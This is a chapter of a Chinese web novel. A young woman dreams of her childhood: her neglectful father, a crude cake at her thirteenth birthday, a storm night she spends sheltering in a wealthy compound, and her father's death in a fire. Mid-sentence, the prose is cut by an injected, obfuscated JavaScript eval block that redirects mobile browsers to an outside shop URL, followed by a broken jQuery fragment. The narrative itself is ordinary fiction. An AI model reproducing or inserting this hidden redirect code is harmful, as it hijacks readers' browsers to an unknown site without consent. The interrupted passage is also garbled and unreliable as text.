上午九点半，便利店柜台。
江赴灵一开始还能做几道题，但低烧干扰着她的意识。
一开始只是用左手支着额头，不久后眼睛一闭，不知不觉就趴在收银台后睡着了。
死去父亲的脸浮现在眼前。
13岁的她背着大大的帆布书包，把父亲从铺着旧床单的木板床上摇醒，小大人一样叫道：
“你怎么又不关火？锅底都糊了！说过多少次了，不是让你中午热菜的时候记得关火关煤气吗？我今天要是不回来，你要怎么办？而且碗又泡在那里没洗！”
江父是个眉目英俊的男人，鼻梁高耸，脸颊轮廓分明，外表看上去像个男大，是稍微捯饬一下，走在街上能被星探递名片的地步。
可惜他胡子拉碴，只穿了条平角裤，腹肌几乎消失，胸腹瘦得像根排骨，头发足有半个月没剪，早就盖过了眉毛。
被女儿从午睡中吵醒，他不耐地挠了挠头发：
“碗泡在那里又不会跑……火……你不是有手吗？就不能关一下？”
“我就是关了之后才来问你的！”她气极了，小脸皱成一团，“你能不能当心一点？万一着火了怎么办？”
“着火了我会闻不到？”他打发小猫小狗一样挥了挥手，“去上你的学，你下午没课？”
“明天就是暑假了！”她更生气了，“今天中午就放学了！”
“噢噢……暑假啊。”江父看了眼窗外，正午太阳小小圆圆的一块，像发烫的灯泡夹在窗帘缝隙里，刺得他眼睛疼，他忍不住抬起手掌，骨节分明的指节蜷缩起来，挡住日光，“那明天开始午饭就你做吧，省得我下锅。”
江赴灵彻底生气了，转身出门时，听到父亲在身后喊她小名：
“昭昭。”
她站住脚步，侧过脸，小脸绷得紧紧的，打定主意，不管父亲怎么道歉、认错，都不会原谅他。
“把门带上。”
他躺平后说。
回答他的，是一声巨大的“砰咚”。
她独自走到洗碗池前，爬上小凳子，拎起掺了水的洗洁精瓶子，瓶口朝下，用力甩了甩，才有几滴稀稀拉拉的液体掉下来。
过大的橡胶手套戴在她短短的手指上，长出的那一截碍事得很，她黑着一张脸，用指腹按住那一截，攥进手心，摁着钢丝球用力搓洗锅碗。
水池泛起稀薄的白色泡沫，在搓洗中飞溅，幻化成缭绕烟雾。
烟雾又坠落下去，她一路坠到某个灯光昏暗的KTV包间。
五六个成年男人陷在沙发里谈笑，空气里云遮雾绕，不知道的还以为来到了新年这天，集体焚香的佛寺。
一个面目模糊的叔叔揉了把小江赴灵的头，看向江父，语气笑呵呵的：
“这丫头眼睛像她妈，鼻子像你，真是越长越像了。”
江父瘫在沙发靠背上，吐了口烟雾，神色不虞：
“别提她妈，就当她死了。”
江赴灵沉默地坐在一旁的沙发上，怀里紧紧抱着帆布包，盯着反光的玻璃桌面，不知道在想什么。
就在这时，最后一个男人推门进来了：
“哥，今天蛋糕店人多，好不容易才赶上的。”
“拿来吧，放这儿。”
江父身体前倾，手肘撑着膝盖，用夹烟的手点了点沙发桌。
蛋糕盒盖一打开，在场人短暂地沉默了，然后爆发出一阵大笑：
“哈哈哈江哥，今儿个不是你丫头生日吗？怎么搞了这么个蛋糕？”
圆形白底蛋糕上，是用粉色奶油画出的、包裹着白色乳.房的胸衣和内裤，上面写着“祝峰哥雄风不倒”。
江父也在满屋子欢声笑语中笑出声来，不轻不重踢了一脚那拿蛋糕的男人：
“滚蛋，你是不是拿错了？我订的是生日蛋糕！”
那男人也有些绷不住：
“那咋办，拿都拿了……要不还是切了吧。”
“成，切。”江父拿了塑料刀，刚要去切，想起什么一般，朝坐在沙发角落的江赴灵招了招手，“你来切第一刀。”
小江赴灵没有笑。
她已经十三岁了，隐约知道这群大男人在笑什么。
她不觉得哪里好笑。
这是她的生日，该是她的生日蛋糕。
可她拿到了一个南辕北辙的荒唐蛋糕，而在场没有一个人对她说一声抱歉。
所有人都已经在进行下一个流程了。
难道是她太敏感了吗？
尽管没办法清楚地表达，但她依旧感觉到了一阵莫名难言的愤怒和委屈。
她抱着帆布包的手指攥紧，别过头去没动。
“小孩子脸皮薄。”江父哈哈笑着，掂了掂塑料刀，切下第一刀，“都是奶油嘛，吃到肚子里不都一样？”
说着，把切下的第一块带水果的蛋糕装在泡沫盘子里，推到她面前的桌上：
“好了，别气了，吃吧。”
她猛地站起身，眼眶通红：
“我不吃！”
说完，站起身推开门跑出去了，还差点跟端酒菜进来的服务员撞上。
“江攸宁！唉……这孩子……”江父喊了一嗓子没喊回来，面子上有些挂不住，找补一般，“闹小脾气呢。随她去，我们先吃！她饿了就会回来了。”
包间里重新又恢复了最初的吵嚷。
少了个小寿星，依旧不妨碍江父跟自己的朋友们小聚。
彼时的江赴灵还不知道，这是她和父亲生前的最后一面。
当天晚上，是入夏以来最大的暴雨。
气象局发了黄色警报，路上的积水深得能养鱼。
几乎淹了半个京州。
她回不去家，也不会游泳，被雨水赶着往高处逃，慌不择路地跋涉了半个城市，满身狼狈地来到了高地势的富人区。
这里安保很严，她站在坡道上，身后是蔓延的大水，身前是岁月静好的草坪。
富人区的积水，小部分被绿化吸收，大部分则通过完善的排水设施，排去了下水道。
眼前的一排排别墅，都像童话里那样漂亮，被雨水冲刷得愈发鲜艳干净。
可她想起了自己和父亲租住的那个小小的出租屋。
下雨只会让天花板长出深色的水渍，让墙体生出肮脏的霉菌。
同样是房子，为什么差距能那么大呢？
雨水顺着脸颊滑落，她跑出KTV时还泛着红的眼眶，此时一滴泪都没有。
她只是呆呆地站在那里，隔着厚重雨帘，往里无意识地张望。
有个保安看她站在雨里淋着，打了把伞过来，蹲下身问：
“你是走丢了吗？是不是这个小区里的人？”
她怔怔地看向保安，嗫嚅了半天，才说：
“……晚柳书院，尚园，5号……能不能，帮我联系一下，一个叫林偃之的人？联系不到的话，他的妈妈叫林鸢，是启程教育咨询的讲师，就是，那个，帮大家选大学的，很有名的。”
保安听到了具体的地址和人名，表情慎重起来：
“稍等，我去核实一下。你先跟我来。”
十分钟后，她坐在了干净明亮的小区入户大堂沙发里，把保安送给她擦身体的毯子垫在身体下方，将湿透的布料和昂贵的真皮沙发隔绝开来，双手规规矩矩放在膝盖上，湿漉漉的帆布书包则放在瓷砖地面，避开了地毯区域。
这里空旷得能听到呼吸的回声，地面的瓷砖似乎也不是凡品，在光线略微变化时，瓷砖内部会泛起隐约的星芒。
靠落地窗的位置，设计了一整面墙的水族箱，八月丰沛的雨水顺着外墙玻璃肆虐流淌，缸里头的蓝黄双色沙丁鱼则游得岁月静好。
所有喧嚣呼啸都被隔绝在双层隔音玻璃之外，也正因隔音玻璃的存在，让外界的风雨看在屋内人眼中都成了一出无害的默剧。
小江赴灵扭头望着玻璃壁上不断迅速汇合、坠落的水珠发呆，只感觉身体很冷——屋内开了空调，恒温25°C，一个很人体友好的温度，但吹在刚从狂风暴雨里逃出来的、湿漉漉的她身上，却刺骨地冷。
保安打电话先联系了业主，片刻之后，面露难色地转告她：
“林女士拒绝让你见他，她让你雨停之后立刻离开。还说……”
他字斟句酌，把言辞往委婉了说：
“让你不要影响她儿子。”
他说这话的时候，明显替她感到不平。
小江赴灵对这个结果毫不意外，她垂着头，过了一会儿才说：
“谢谢叔叔帮忙。”
但她没有依言等到雨停就走，而是站起身，向保安微微鞠了一躬：
“打扰您了。真是非常不好意思。”
小豆丁一样的小女孩，在此时展现出来的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837728|211519||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
过于成熟的处理方式，让保安有些招架不来：
“没事，你等雨停了再走啊，你看外面现在风这么大，还下着暴雨，多危险。你爸妈呢？”
她一寸一寸地抬起脸，眼神涣散了几秒，闭了闭眼，再睁开时，表情已经显得很镇定：
“爸爸工作很忙，妈妈和爸爸分开了。我跟爸爸，因为爸爸比较需要照顾。”
她说得熟练，像是已经默背过很多次。
保安看到她这么懂事，心生不忍，主动提出：
“我看这雨一时半会也停不了，你先去隔壁的休息室洗个热水澡，换身衣服吧，我女儿有衣服放在这儿，你直接穿就行。一会儿我煮点泡面给你吃，等明天天晴了你再走——哦对了，还得给你爸打个电话报下平安。”
她听到“报平安”三个字，眼睫低垂下去，嗯了一声。
不久后，换了身兔宝宝睡衣的江赴灵，捧着保安的手机，到卫生间拨通了家里座机的电话——理所当然无人接听，因为那台座机早就因为欠费停机了。
不久后，她走出来，一脸乖巧地把手机还给保安：
“谢谢叔叔。不过爸爸现在应该已经上飞机了，家里电话没人接。他明天早上落地，我到时候再打打看。”
保安不疑有他，更加心疼这个“父母离异，父亲不在身边”的可怜又乖巧的小女孩了。
次日早上，雨过天晴。
她的书包里装满了保安塞给她的、原本属于他女儿的零食，踏上了回家的路。
她已经盘算好了，这次无论父亲面对一夜未归的她，会如何像面对她母亲，或是继母那样，痛哭流涕、赌咒发誓地道歉，哄人，求和好，她都不会给他好脸色。
她这次一定要做个冷酷的人，冷酷地不理父亲，冷酷地和他擦肩而过，然后再冷酷地甩上卧室门——他们的出租屋只有一个卧室，所以她把父亲拒之门外，就代表着父亲今晚只能睡沙发。
就让他先睡上一晚上，等天亮了再看心情决定原不原谅他。
她盘算着，盘算着，走过红色的邮筒，拐了个弯，看到她和父亲住的那座公寓楼了。
然后，她看到，他们租下的一楼，那间由车库改建的临时居所，被人群围得水泄不通。
她纳闷地凑上去时，正值一台担架被穿着白色短袖制服的人抬走。
担架经过她眼前，白布没盖严实，露出了一只骨节分明的、修长的手。
但，手上的皮肤已经烧得发黑，指节蜷缩着，像昨天KTV里，服务员端上来的鸡爪。
但是是碳烤的。
“……”她的视线死死黏在那只鸡爪上，动作迟缓地转过身，继续往车库门走，边走边从口袋里掏出钥匙。
等她仗着身材矮小，穿过围观人群，来到门前时，才发现，那扇门已经变成了一张黑洞洞的大口，嘴巴四周全是烟熏火燎的痕迹。
里头陈设都变得焦黑。
闲人三三两两聚在一起，讨论的内容不断飘进耳朵。
“中午烧起来的吧？谁报的警啊？”
“我侄女啊，她就住二楼，闻着味儿不对……下楼的时候那门已经烫得变形了……”
“窗户为了防贼，装了铁栏杆呢，出不去……”
“……哎哟，谁在车库装烟雾报警器啊……连厨房都是房东私自搭的。说起来租车库给人住，犯不犯法啊？有没有人管管啊？”
“那男的也没叫啊？睡得真死。”
“听到了，叫了呢，叫得可响，还叫了什么找找，找什么找？大难临头了，难道还想找金银细软呐？”
“哎哟这可真惨，是活活烧死的吧？这铁皮门就这点不好……遇到高温容易变形，人这可不就困在里面了吗？”
“说起来台风是不是过去了？走了，回家晒被子了……”
围观的人群逐渐散去了。
江赴灵站在原地，怔怔地望着那不知餍足的黑色大口，没办法做出任何反应。
台风过境，雨过天晴。
可她的世界，永不会再晴。
……
江赴灵一个激灵，醒了过来。
便利店的灯光太亮，有些过曝。
她知道这是为了让商品看上去好看。
但只有照货物好看，照人就像是在照鬼。
更何况，她现在宁可遇见鬼，也不想遇见此时出现在面前的人。